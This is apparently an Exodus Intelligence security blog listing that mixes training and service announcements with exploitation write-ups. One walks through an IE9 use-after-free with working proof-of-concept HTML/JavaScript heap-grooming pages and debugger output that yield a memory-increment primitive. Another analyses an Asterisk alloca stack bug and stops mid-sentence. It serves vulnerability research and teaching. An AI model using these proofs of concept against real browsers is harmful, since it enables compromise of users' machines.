Update (2015-08-13 1:16pm CST): We’ve been in contact with Zimperium and are working with them to provide coverage for detection of this flaw through their Stagefright Detector app. They have been very responsive (more so than the affected vendor) and we plan to alert them of similar flaws we’ve recently discovered.
exodusintel
Exodus Intelligence 2015 Training Courses
VULNERABILITY DEVELOPMENT MASTERÂ CLASS
Since our inception we have prided ourselves on providing training courses on a variety of advanced subjects which have consistently been filled with students from around the world. Last year, we hosted the class in the USA, Asia, and Europe, both publicly and also privately by request.
Tails from the Cri2p
In continuation of the previous blog Fairy Tails and Silver Bullets we present the technical details of the flaws found in I2P (Invisible Internet Project) that also affects the Tails operating system.
Silver Bullets and Fairy Tails
Introduction
This week we made mention on Twitter of a zero-day vulnerability we’ve unearthed that affects the popular Tails operating system. As the Tails website states:
Tails is a live operating system, that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity, and helps you to:
use the Internet anonymously and circumvent censorship;
all connections to the Internet are forced to go through the Tor network;
leave no trace on the computer you are using unless you ask it explicitly;
use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.”
This software was largely popularized due to the fact that it was used by whistleblower Edward Snowden. Since then, the OS has garnered much attention and use by a wide range of those seeking anonymity on the Internet.
A browser is only as strong as its weakest byte – Part 2
As promised, the follow up from our previous post.
Before Thanksgiving, we left off with IE9 coughing up bytes. We’ll poke it some more today and make it do a little dance for us.
Last week we managed to trick IE9 into doing an INC[ADDRESS] for us where we could specify the address. Now it is time to see how much damage we can do with just that. Since we’ll operate under the assumption that everything in the process is ASLR’d the first thing to do to is come up with a way to predict a fixed address we can safely increment. The easiest way to do that will be using an aligned heapspray. In case you’re not familiar with heapspraying, especially heap spraying in Internet Explorer, below is a quick breakdown of the basics of a heapspray.
Read moreA browser is only as strong as its weakest byte – Part 2
A browser is only as strong as its weakest byte
Back in September, FireEye posted a blog entry discussing CVE-2013-3147, a vulnerability in Microsoft Internet Explorer. They pointed out that Microsoft patched the issue on July 9th in Bulletin MS13-055. While reading their post it dawned on me that I had discovered a similar issue as far back as January this year. The usage of the onbeforeeditfocus event was what caught my attention, and upon installing the aforementioned patch from Microsoft, I confirmed that they silently fixed my bug, too. As we at Exodus had been shipping an exploit to our customers for this issue since January, we figured an adequate amount has time has passed and we can now share some details here on our blog.
The vulnerability we discovered was also an use-after-free vulnerability (as is often the case with browser issues) that involved event handlers and some other miscellaneous Javascript constructs. The exploit I wrote bypassed ASLR through a forced memory disclosure and Data Execution Prevention through the usual ROP chain trickery. The actual exploit is non-trivial, so bear with me with me and expect some minimal shortcuts to be taken in the following explanation.
The Crash
First of all, lets dump a poc that causes the crash:
<!doctype html> <HTML> <head> <script> function setinput() { try { document.write('Timber'); } catch(e) {} } function loaded() { document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput) document.getElementsByTagName('input')[0].focus(); } </script> </head> <body onload="loaded();"> <input value="mydata" type="text"></input> </body> </html>
If you open this file in Internet Explorer 9 (from a website, not as a local file) you might get a crash that looks like this:
This exception may be expected and handled. eax=00000001 ebx=00000000 ecx=00000010 edx=0000006a esi=00000000 edi=00000000 eip=71e0e0d0 esp=0327cb8c ebp=0327cb98 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSHTML!CHTMLEditor::FireOnSelectionChange+0xb: 71e0e0d0 8b01 mov eax,dword ptr [ecx] ds:002b:00000010=???????? 1:019> ub MSHTML!CSelectionManager::EndSelectionChange+0x8e: 71e0e0c4 90 nop MSHTML!CHTMLEditor::FireOnSelectionChange: 71e0e0c5 8bff mov edi,edi 71e0e0c7 55 push ebp 71e0e0c8 8bec mov ebp,esp 71e0e0ca 51 push ecx 71e0e0cb 51 push ecx 71e0e0cc 53 push ebx 71e0e0cd 8d4f10 lea ecx,[edi+10h]
This might look like it is a NULL-pointer dereference: edi == NULL; ecx gets set to edi + 0x10; and then ecx is dereferenced. Since, as far as I know, NULL pointer dereference vulnerabilities are not exploitable in Internet Explorer this does not look useful. But this is not the actual crash, and to see where things first go wrong we simply turn on pageheap and user mode stack trace database for iexplore.exe.
gflags.exe /i iexplore.exe +hpa +ust Current Registry Settings for iexplore.exe executable are: 02001000 ust - Create user mode stack trace database hpa - Enable page heap
Running the poc again gives us the following information:
(87c.fc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00008000 ebx=0e62afd8 ecx=7746389a edx=02bb10d0 esi=ffffffff edi=0ed3af38 eip=71e43f37 esp=08c9caa0 ebp=08c9cab8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52: 71e43f37 334738 xor eax,dword ptr [edi+38h] ds:002b:0ed3af70=???????? 1:019> lmi vm mshtml File version: 9.0.8112.16446 1:021> k ChildEBP RetAddr 08c9cab8 71e43ed1 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52 08c9cacc 71e43e85 MSHTML!CSelectionManager::ShouldElementShowUIActiveBorder+0x2e 08c9cae4 71e4308f MSHTML!CSelectionManager::SetEditContext+0xdf 08c9cb50 71cce2fd MSHTML!CSelectionManager::SetEditContextFromElement+0x34e 08c9cb90 71ccdb7d MSHTML!CSelectionManager::SetEditContextFromCurrencyChange+0x2d6 08c9cbb8 71ef200f MSHTML!CSelectionManager::Notify+0x1e0 08c9cbcc 71ef1fc2 MSHTML!CHTMLEditor::Notify+0x5a 08c9cbe8 71ccce15 MSHTML!CHTMLEditorProxy::Notify+0x21 08c9ccd0 71d9a7a4 MSHTML!CDoc::SetCurrentElem+0x525 08c9cd2c 71ccdef8 MSHTML!CElement::BecomeCurrent+0x1d6 08c9cd60 71c51018 MSHTML!CElement::focusHelperInternal+0x109 08c9cd78 710d85fe MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x58 08c9cdac 71116402 jscript9!Js::JavascriptFunction::CallFunction+0xc4 08c9ce00 08d804da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117 WARNING: Frame IP not in any known module. Following frames may be wrong. 08c9ce58 710d85fe 0x8d804da 08c9ce94 710d8523 jscript9!Js::JavascriptFunction::CallFunction+0xc4 08c9cef8 710d845a jscript9!Js::JavascriptFunction::CallRootFunction+0xb6 08c9cf34 710d83e6 jscript9!ScriptSite::CallRootFunction+0x4f 08c9cf5c 71119c8d jscript9!ScriptSite::Execute+0x63 08c9cfc0 71df27b9 jscript9!ScriptEngine::Execute+0x11a 08c9d044 71df26e3 MSHTML!CListenerDispatch::InvokeVar+0x12a 08c9d064 71e4d050 MSHTML!CListenerDispatch::Invoke+0x40 08c9d0e8 71d4e894 MSHTML!CEventMgr::_InvokeListeners+0x187 08c9d110 71e4d147 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc 08c9d2d4 71edc03c MSHTML!CEventMgr::Dispatch+0x3cc 08c9d2fc 71df2ab0 MSHTML!CEventMgr::DispatchEvent+0xc9 08c9d330 71dc4062 MSHTML!COmWindowProxy::Fire_onload+0x123 08c9d394 71dc3c7a MSHTML!CMarkup::OnLoadStatusDone+0x5eb 08c9d3b4 71dc3c6f MSHTML!CMarkup::OnLoadStatus+0xb6 08c9d804 71d2ffbc MSHTML!CProgSink::DoUpdate+0x5dc 08c9d814 71eaa339 MSHTML!CProgSink::OnMethodCall+0x12 08c9d850 71ec9ba0 MSHTML!GlobalWndOnMethodCall+0x115 1:020> ub MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x36: call MSHTML!EdUtil::FireOnEvent mov dword ptr [ebp-8],eax shl eax,0Fh
I wont be going into the details and root cause analysis for this crash but will mainly focus exploitation, but the main concept is that the body.onload() function triggers the onbeforeeditfocus handler to be called and the function apparently deletes some important data that causes a crash once we return from the ‘FireOnEvent’ function.
Unfortunately the VM I’m playing on has an windbg version that sometimes fails the user stack trace lookup, so I cannot show you that trace at this point. I can tell you the size of the allocation however, thanks to Fermin’s subtraction technique:
1:019> .printf "size is 0x%x", 1000 - edi & 0xFFF size is 0xc8
So we know we are freeing a size 0xC8 piece of memory that contains some data that is being reused later on. Time to assess the exploitability of this issue, and mainly the exploitability when running with full process ASLR (no cheating as many public exploits these days seem to do).
First off all we need to check if we can replace the freed memory with our own data. Thanks to the Low Fragmentation Heap (LFH) this is pretty easy, by simply allocating 0xC8 bytes after the document.write() call we should re-occupy the last freed slot of 0xC8 sized memory. To make sure this allocation size uses the LFH allocator we make a few allocation of this size before we start the whole fun.
Setting a breakpoint at the initial crash location allows us to inspect our progress (don’t forget to turn off PageHeap to make sure the LFH allocator will be activated).
Actually, if at this point you want to stop reading and try to create the exploit yourself, go ahead and do so as spoilers are on the way.
Control
Back to the progress: taking control over freed memory:
<!doctype html> <HTML> <head> <script> lfh = new Array(20); for(i = 0; i < lfh.length; i++) { lfh[i] = document.createElement('div'); lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; } function setinput() { try { document.write('Timber'); } catch(e) {} d = document.createElement('div'); d.className = "uFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFF"; } function loaded() { document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput) document.getElementsByTagName('input')[0].focus(); } </script> </head> <body onload="loaded();"> <input value="mydata" type="text"></input> </body> </html>
Lets run this and watch the effects:
1:019> bp !mshtml + 0x383f37 ".printf "AFTER FireOnEvent : edi %p", edi; .echo; dc edi L0xc8/4;.echo;" AFTER FireOnEvent : edi 1072a440 1072a440 71eb2d04 71eb320c 00000002 106f4920 .-.q.2.q.... Io. 1072a450 106eff10 106eff38 107309a0 00000000 ..n.8.n...s..... 1072a460 107308e0 00000000 00000000 0000000f ..s............. 1072a470 00000001 00000000 00908002 00000000 ................ 1072a480 00000000 00000000 00000000 00000000 ................ 1072a490 106c3dc0 00000000 ffffffff 00000000 .=l............. 1072a4a0 00000000 00000000 00000000 00000000 ................ 1072a4b0 00000000 107309a0 00000000 00000000 ......s......... 1072a4c0 00000000 106c3dc0 1072cd88 1072ce40 .....=l...r.@.r. 1072a4d0 00000000 106efe20 106efe48 106efe70 .... .n.H.n.p.n. 1072a4e0 106efe98 106efec0 106efee8 00000000 ..n...n...n..... 1072a4f0 00000000 00000000 00000000 00000000 ................ 1072a500 00000000 00000000 ........ eax=00008000 ebx=107309a0 ecx=00000000 edx=00000001 esi=ffffffff edi=1072a440 eip=71e03f37 esp=1330cca8 ebp=1330ccc0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52: 71e03f37 334738 xor eax,dword ptr [edi+38h] ds:002b:1072a478=02809000 1:019> g AFTER FireOnEvent : edi 1072a440 1072a440 ffffffff ffffffff ffffffff ffffffff ................ 1072a450 ffffffff ffffffff ffffffff ffffffff ................ 1072a460 ffffffff ffffffff ffffffff ffffffff ................ 1072a470 ffffffff ffffffff ffffffff ffffffff ................ 1072a480 ffffffff ffffffff ffffffff ffffffff ................ 1072a490 ffffffff ffffffff ffffffff ffffffff ................ 1072a4a0 ffffffff ffffffff ffffffff ffffffff ................ 1072a4b0 ffffffff ffffffff ffffffff ffffffff ................ 1072a4c0 ffffffff ffffffff ffffffff ffffffff ................ 1072a4d0 ffffffff ffffffff ffffffff ffffffff ................ 1072a4e0 ffffffff ffffffff ffffffff ffffffff ................ 1072a4f0 ffffffff ffffffff ffffffff ffffffff ................ 1072a500 ffffffff 0000ffff ........ eax=00008000 ebx=10730a60 ecx=0000005d edx=0000005c esi=ffffffff edi=1072a440 eip=71e03f37 esp=1330c960 ebp=1330c978 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52: 71e03f37 334738 xor eax,dword ptr [edi+38h] ds:002b:1072a478=ffffffff
As can be seen we have successfully taken over the freed memory allocation (the breakpoint hits twice and the 2nd time is when it was originally freed memory) and are now operating on data under our control. Next question is: “What now?”. First of all this does not seem to be one of those easy ‘control virtual function table and then control program flow’ style use-after-frees. At this point you should probably dig deeper and look into what the object/memory is supposed to be before it is freed to gain more insight and what route to take toward exploitation, but we wont do that to spare you some reading and me a lot of typing. It is also possible to create different types of crashes that might give you faster vftable control, but we’ll be working with this version since it allows us to do funny things.
We will start to just look at the function at the point of the crash and work from them under the assumption that we control the memory in [edi]. Opening the crash location and selecting ‘edi’ at the crash point shows us that edi comes from eax at the beginning of the function.
We also see that the result of the ‘EdUtil::FireOnEvent’ call is used to determine a jump at the end of the basic block:
The result of the function is ‘1’ resulting in the the jnz not being taken and the function ending shortly after that without using the freed data again. Of course, you really need to dig into the function and find out why it returns 1 and not 0 which gives you much more exploitation flexibility, but again: shortcut time, we’re not doing that here.
We’ll need to go up a few function to find a place where the freed memory is being accessed again. You can use the call stack or code cross references in IDA to do that, or step through it in WinDBG, whichever you prefer. You should be able to figure out that in “MSHTML!CSelectionManager::SetEditContext+0xf2:” the memory is used again, but nothing thereabouts seems to be too useful:
71e03e93 836738f7 and dword ptr [edi+38h],0FFFFFFF7h ds:002b:0083b968=ffffffff
Tracing further will tell you that you’ve ended up inside CSelectionManager::EndSelectionChange with controlled memory being set to eax just before the call:
This is where things get interesting. If you need a break from my ramblings I suggest you take a look at the function, assuming that you can control the data in eax at the beginning of the function and find an interesting path through to the epilogue. When working in a fully-ASLRed process there are a few ways that I can currently think of that will not crash:
- Replace freed objects with other objects so virtual calls are correctly resolved into a module
- Avoid any and all virtual function calls
use USER_SHARE_DATA to call LdrHotPatchRoutine
I have created a PNG of the whole function by taking a few screenshots and pasting them together in a graphics editor, mspaint.exe (there are probably better approaches to that but, hey, this worked). Use right click: open in new tab/window if your screen size isn’t big enough to read it when you click it normally.
I highlighted ‘esi’ in the function since that is the register that points to our data. The thing that caught my eye when I was looking at this was the following code:
.text:63904388 loc_63904388: ; CODE XREF: CSelectionManager::EndSelectionChange(int)-22579Fj .text:63904388 mov esi, [esi+0Ch] .text:6390438B test eax, eax .text:6390438D jnz loc_6378E064 .text:63904393 inc dword ptr [esi+0A0h] .text:63904399 jmp loc_639B2DD2
If we can reach that block without crashing and with eax set to the correct value (0x0) we can INCrement whatever memory address that we want. This seems somewhat limited but we’ll get back to that later. First lets try to reach that block and once we reach the problematic situation we can worry about actual pursuit of exploitation.
If we slowly step through the function we will see what values we need to have in our controlled memory to be able to reach the code without crashing. If you at this point are working with a non-ASLR library you want to take a different path that leads to a virtual function table call with the pointer under your control, but that’s not what we are after.
Stepping through the function show us:
.text:639B2DAE dec dword ptr [esi+90h] .text:639B2DB4 mov eax, [esi+90h] ... .text:639B2DC3 test eax, eax .text:639B2DC5 short loc_639B2DD2
[esi+0x90] should be 0x1 at the beginning.
.text:6390282A loc_6390282A: ; CODE XREF: CSelectionManager::EndSelectionChange(int)+15j .text:6390282A shl ecx, 4 .text:6390282D xor ecx, [esi+3Ch] .text:63902830 and ecx, 10h .text:63902833 xor [esi+3Ch], ecx .text:63902836 jmp loc_639B2DC3 . . . .text:639B2DC7 mov eax, [esi+3Ch] .text:639B2DCA test al, 10h .text:639B2DCC jnz loc_63904352
[esi+0x3C] need to pass some test for 0x10, so we’ll just poke at that until it complies.
The block of code we want to reach requires eax to be 0x0 to take the right jump. For this to happen we need to trace back where eax is being set and figure out which path we need to walk to get there. There are two places right above the block we want to reach that can set eax:
loc_6378D607: mov eax, edi and .text:6390437C test byte ptr [esi+3Ch], 2 .text:63904380 jnz loc_6378D607 .text:63904386 xor eax, eax
A little inspection show that edi will be non zero at the point where edi is moved to eax, so the only route we can take is the ‘xor eax, eax’ path. To reach this we need to survive through additional functions:
‘CSelectionManager::GetTrackerType‘ and ‘CSelectionManager::ShouldCaretBeInteractive‘ and both need to return the right return values. This can be achieved without too much hassle.
CSelectionManager::GetTrackerType should return either 1 or 2 which can be achieved by having our data + 0x50 point to memory where at offset 0xC you can find the value 0x1 or 0x2:
The other function: CSelectionManager::ShouldCaretBeInteractive, is a little bit more complex, but can also be navigated through without the process crashing. I will not sit you through that but instead will point out that you can find a value of 0x1 inside the USER_SHARE_DATA at a 0x7ffe0240. I think it’s about time to test a proof of concept that will allow us to INC dword ptr [0xCONTROLLED] and then go from there.
To do this we need to be able allocate an 0xC8-sized piece of memory and fill it with data under our control including values of u0000 (we need 0x1 at offset +0x90). The element.className trick we used in our previous sample wont cut it since the string will terminate at the first u0000 it encounters. There are however plenty more way to have some fun with the heap in Internet Explorer 9. One of the tricks I like to use consists of the following lines of code:
a = document.createElement('area'); a.shape = 'poly'; a.coords = '1,2,3,4,5,6,7,8,9,10';
This snippet creates an AREA element, set its shape to be a polygon and then assigns a list of points (x,y) to its ‘coord’ property. This results in an allocation that consists of:
[NUMBER_OF_POINTS][X][Y][X][Y] …. with all the values converted to hex double words. Using this we do not control the first 4 bytes of the allocation but we’ll be able to easily control the rest and set it to values we want. This results in the proof of concept shown below:
<!doctype html> <HTML> <head> <script> lfh = new Array(20); for(i = 0; i < lfh.length; i++) { lfh[i] = document.createElement('div'); lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; } function setinput() { try { document.write('Timber'); } catch(e) {} d = document.createElement('area'); d.shape = "poly" d.coords = "1,2,606348324,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48"; } function loaded() { document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput) document.getElementsByTagName('input')[0].focus(); } </script> </head> <body onload="loaded();"> <input value="ExodusIntel" type="text"></input> </body> </html>
This cause the following crash in IE:
(638.104): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=131ec89c edx=00000033 esi=24242424 edi=00000001 eip=71e04393 esp=131ec8a0 ebp=131ec8d8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 MSHTML!CSelectionManager::EndSelectionChange+0x87: 71e04393 ff86a0000000 inc dword ptr [esi+0A0h] ds:002b:242424c4=????????
So there you have it, our exploit primitive allows us to INCrement data at a single 4 byte address of our choosing. Is that enough to
- Force a memory disclosure needed to bypass ASLR
- Control the flow of the execution with enough control to bypass DEP
The answer is of course Yes, otherwise I wouldn’t be writing this blog. As a matter of fact, I found two somewhat distinct ways to do this.
And…. my time is up for this week. I will write the follow up with at least one exploit and publish it next week after Thanksgiving, anyone who sends me either a workable idea, or even better, an actual working exploit will get a shoutout in Part 2.
A few notes on the exploit I wrote:
- Due to the requirements our memory replacement has (size 0xC8, some specific values at certain offsets) we’re almost certainly stuck with a ‘fixed’ address as the memory address we can INC. Feel free to add a heapspray if you need.
- We will only trigger the ‘crash’ once and thus the initial exploit primitive of INC[memory] will be used for both a memory disclosure followed by process control.
To be continued….
Vulnerability Development Master Course: Windows Edition
Throughout 2013 we have given training courses on a variety of advanced subjects which have consistently been filled with students from around the globe. The classes have been hosted both publicly at security events, our headquarters in Texas, and privately at military and government institutions. As the year draws to a close, we’ve had a chance to reflect on the content we’ve taught and how we can raise the bar even higher in 2014. To that end, we’re excited to announce that we have combined material from our Breaking Binary Applications, Bughunting and Analysis 101, Dynamic Reverse Engineering, and Browser Exploitation classes into a single week-long master course that we will deliver publicly at 3 locations in 2014.
The new course, titled the Vulnerability Development Master Class, will be taught by the entire Exodus team over the course of 5 consecutive days.
Dates & Locations
The dates and locations are as follows (venue information will be distributed to registered attendees):
- March 24th-28th: Boston, MA, USA
- July 7th-11th: Amsterdam, The Netherlands
- September 15th-19th: San Francisco, CA, USA
If we receive sufficient interest in hosting additional events the above list may expand. Reach out to us via training@exodusintel.com or on twitter via @ExodusIntel for any inquiries.
Prerequisites
We have compiled a summary of prerequisites, the abstract, dates and locations into a single PDF for reference: Exodus Intelligence Vulnerability Development Master Class
Abstract
This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding advanced vulnerability and exploitation topics on the Windows platform. Attendees will be immersed in hands-on exercises that impart valuable skills including static and dynamic reverse engineering, zero-day vulnerability discovery, binary instrumentation, and advanced exploitation of widely deployed server and client-side applications.
Taught by the entire Exodus Intelligence team, this course provides students with direct access to our renowned professionals in a setting conducive to individual interactions.
Syllabus
- Reverse Engineering
- Static Reverse Engineering
- Code Representation and Graph Theory
- Recognizing Non-Determinism
- Recognizing Data Structures
- Symbol Mining
- Harvesting Useful Code
- C++ Type Recovery
- Scripting Disassemblers
- Dynamic Reverse Engineering & Automation
- Non-Intrusive Target Monitoring
- Recovering Type Information
- Code Flow Analysis
- Symbol Recovery
- Instrumentation with PIN
- Isolating Interesting Code & Data
- Static Reverse Engineering
- Debugging
- Core Windows Userspace Concepts
- Memory Management
- Process Lineage
- Integrity Levels
- Windows Services
- Inter-Process Communication
- Local Inter-Process Communication
- Remote Process Communication
- The Windows Linker & Loader
- Exception Handling
- Core Debugger Concepts
- Attaching (Intrusive vs Non-Intrusive)
- Breakpoints
- Global Flags
- Image File Execution Options
- Scripting with PyKD
- Annoyances & Solutions
- Core Windows Userspace Concepts
- Vulnerabilities Overview & Recognition
- Recognizing Vulnerability Patterns
- Automated Discovery
- Memory Corruption
- Type Confusion
- Improper Allocations
- Arithmetic Issues
- Format Strings
- Use-After-Free
- Buffer Overflows
- Design Flaws
- Vulnerability Discovery
- Manual Auditing Processes
- Dumb Fuzzing
- “Intelligent” Fuzzing
- Ambulance Chasing
- Binary Diffing
- Client-Side Discovery Techniques
- Server-Side Discovery Techniques
- Exploitation
- Memory Manipulation & Scope
- Windows Mitigations & Bypasses
- Enhanced Mitigation Experience Toolkit (EMET)
- Bypassing EMET
- Achieving Reliability
- Post Exploitation
- Sandboxes
- Process Continuation
Pricing and Registration
The cost for the 5-day course is $6500 USD per student. You may e-mail training@exodusintel.com to register and we will supply a purchase order.
We have also made available this template request form for individuals to help justify attendance to management.
Introducing LiveFire
Exodus Intelligence is excited to announce a new service offering developed via a partnership with Syndis, an Icelandic information security think-tank based in Reykjavik.
Here at Exodus, we focus exclusively on developing sophisticated zero-day exploits that mimic the characteristics of real-world advanced attackers. By partnering with Syndis, we are able to put these tools in the hands of their seasoned team of security professionals, thereby allowing our joint customers to experience what it would be like to be targeted by a well-equipped adversary. Departing from the check-box security mentality and entering engagements as if they were actual attacks conducted by operators with sophisticated zero-day vulnerabilities results in metrics that enable our clients to empirically analyze and improve their defensive methodologies.
A LiveFire exercise is unlike any other service offering on the market; we’ve studied high-profile breaches and analyzed the tactics of today’s most capable adversaries to ensure that the experience we deliver is on-par, and even above, what a high-value target must be prepared to withstand.
LiveFire: This is not a drill.
You can read the full press release here (PDF).
DoS? Then Who Was Phone?
Introduction
This post presents exploitation notes on a vulnerability we discovered in Asterisk, an open source telephony solution produced by Digium. We reported this bug to Digium on November 27th, 2012, and provided it to customers of the Exodus Intelligence Feed as EIP-2012-0008. Digium released the advisory AST-2012-014 for this vulnerability on January 2nd, 2013, which was picked up shortly after by some of the aggregator sites and incorrectly categorized as a denial-of-service; however, this bug is certainly exploitable. As we found it fun to analyze, and since discussions about server-side memory bugs are a little sparse now-a-days, we thought it would be cool to share for others who might also find it interesting.
Vulnerability
The vulnerability resides in the HTTP Asterisk Management Interface (AMI) service, and is the result of an
being used to “allocate” memory with a remotely-supplied, untrusted size value. The vulnerability is present in the Asterisk source code file
, specifically in the function
, which as the name would suggest is used to parse HTTP POST variable data. A snip of the pertinent vulnerable code in this function is shown below:
struct ast_variable *ast_http_get_post_vars(
struct ast_tcptls_session_instance *ser, struct ast_variable *headers)
{
int content_length = 0;
struct ast_variable *v, *post_vars=NULL, *prev = NULL;
char *buf, *var, *val;
for (v = headers; v; v = v->next) {
if (!strcasecmp(v->name, "Content-Type")) {
if (strcasecmp(v->value, "application/x-www-form-urlencoded")) {
return NULL;
}
break;
}
}
for (v = headers; v; v = v->next) {
if (!strcasecmp(v->name, "Content-Length")) {
content_length = atoi(v->value) + 1;
break;
}
}
if (!content_length) {
return NULL;
}
if (!(buf = alloca(content_length))) {
return NULL;
}
if (!fgets(buf, content_length, ser->f)) {
return NULL;
}
The code shows the length value being converted from the Content-Length string using
, then incremented by one and stored in the
variable. Memory is obtained by
for the expected content length, and pointed to by
. Finally,
is called to read the expected amount of content data into this buffer. I found it interesting that the code looks as though it may have been written with memory management issues in mind, as the check to ensure
is not zero would catch an integer overflow caused by adding one to the value.
Below is a snip of disassembled code for the vulnerable function as compiled in the Asterisk package shipped with Ubuntu. This snip shows the size value being set and used to subtract the stack pointer (
) to “allocate” stack memory:
<ast_http_get_post_vars+187>: call <strtol@plt>
<ast_http_get_post_vars+192>: mov edx,eax
<ast_http_get_post_vars+194>: add edx,0x1
<ast_http_get_post_vars+197>: je <ast_http_get_post_vars+408>
<ast_http_get_post_vars+203>: mov ecx,DWORD PTR [ebp-0x30]
<ast_http_get_post_vars+206>: add eax,0x1f
<ast_http_get_post_vars+209>: and eax,0xfffffff0
<ast_http_get_post_vars+212>: sub esp,eax <----- LOL
<ast_http_get_post_vars+214>: lea esi,[esp+0x1b]
As shown, the
is compiled into a simple set of instructions to ADD and AND-off the size to be allocated from the stack. It then subtracts the revised size from the stack pointer, and stores an address derived from this into the
register for further use.
Exploitation Obstacles
Since most compilers implement
as a fairly direct subtraction of the stack pointer, the exploitation of
is often as simple as providing a size value large enough to wrap the stack pointer around to a desirable location higher on the stack. Subsequent use of the pointer to store remotely supplied data would then result in stack memory corruption, and allow for vanilla exploitation techniques to gain control of program execution flow.
However, here the vulnerable code uses the function
to read network data into the obtained memory space. This complicates the situation for exploitation as the libc implementation of
performs a check on its length argument to ensure that it is not beyond the signed integer boundary of
. If this check fails,
does not read data and returns an error. The code snip below shows the check performed inside of
as implemented in libc.6.so:
<fgets+0>: sub esp,0x4c
<fgets+3>: mov DWORD PTR [esp+0x48],ebp
<fgets+7>: mov ebp,DWORD PTR [esp+0x54]
<fgets+11>: mov DWORD PTR [esp+0x3c],ebx
<fgets+15>: call <mov_esp_ebx>
<fgets+20>: add ebx,0x14051c
<fgets+26>: mov DWORD PTR [esp+0x40],esi
<fgets+30>: mov esi,DWORD PTR [esp+0x58]
<fgets+34>: test ebp,ebp
<fgets+36>: mov DWORD PTR [esp+0x44],edi
<fgets+36>: mov DWORD PTR [esp+0x44],edi
<fgets+40>: jle <fgets+336>
...
<fgets+336>: mov DWORD PTR [esp+0x50],0x0
<fgets+344>: jmp <fgets+256>
...
<fgets+256>: mov eax,DWORD PTR [esp+0x50]
<fgets+260>: mov ebx,DWORD PTR [esp+0x3c]
<fgets+264>: mov esi,DWORD PTR [esp+0x40]
<fgets+268>: mov edi,DWORD PTR [esp+0x44]
<fgets+272>: mov ebp,DWORD PTR [esp+0x48]
<fgets+276>: add esp,0x4c
<fgets+279>: ret
The
register, containing the length argument, is checked to be a positive signed value using the
and
instructions at
and
. If the check fails, the code jumps to return an error, making
unusable for exploiting a wrapped stack pointer to overwrite memory with data read from the network. While stack corruption by this means is still possible through the pushing and moving of data to the stack by other compiled code operations, the lack of control and limited set of operations make this approach undesirable.
At this point some might categorize this vulnerability as purely theoretical or possibly even unexploitable. As I hope many readers would agree, a challenge of this nature is always inviting. The Exodus team loves goading and trolling one another in these scenarios, usually with something along the lines of “Yeah, it is probably too tough for you to exploit…” or “you should probably just give up.” The recipient of this pep talk usually proceeds to cry and reevaluate the code until an idea hits them or they decide to resign to a life of PCI compliance auditing. Challenge accepted.
EIP Control
After spending some time analyzing the problem and hating computers, I found a way to exploit this vulnerability. The HTTP listener for the Asterisk Management Interface handles every new connection by creating a new thread to execute a designated worker function to process the request. The code to setup and complete this task is spread out across multiple functions and macros and is a little messy, so we’ll try to keep details to a minimum. The HTTP AMI is started initially by a call chain of functions starting with
, which calls
, which then calls
. The function
performs standard TCP socket setup operations, and is defined as:
Despite the name,
is used for both TLS and non-TLS service setup. The single argument taken by this function is a structure describing aspects of the server to be started. From
, the call looks like:
The structure structure
is defined in
as:
static struct ast_tcptls_session_args http_desc = {
.accept_fd = -1,
.master = AST_PTHREADT_NULL,
.tls_cfg = NULL,
.poll_timeout = -1,
.name = "http server",
.accept_fn = ast_tcptls_server_root,
.worker_fn = httpd_helper_thread,
};
The
is a function pointer for a function to accept the connection, and the
is a pointer to the worker function responsible for processing the request once a new thread is created. After more setup code, a new thread is created to accept socket connections by calling the function
